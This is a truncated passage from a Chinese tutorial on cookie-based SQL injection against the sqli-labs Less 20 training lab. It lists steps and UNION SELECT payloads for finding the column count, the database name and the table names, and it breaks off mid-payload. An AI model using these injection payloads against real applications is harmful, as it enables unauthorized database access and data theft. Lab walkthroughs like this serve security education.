17、cookie注入

環境sqli-labs less 20 1、在cookie裏輸入特殊字符報錯 發現是單引號閉合 2、判斷字段長度 order by 3正常，order by 4返回錯誤 3、union聯合查詢 a’ union select 1,2,3 # 4、獲取數據庫名稱 a’ union select 1,2,database()# 5、獲取表名 a’ union select 1,2,group_conc

>>阅读原文<<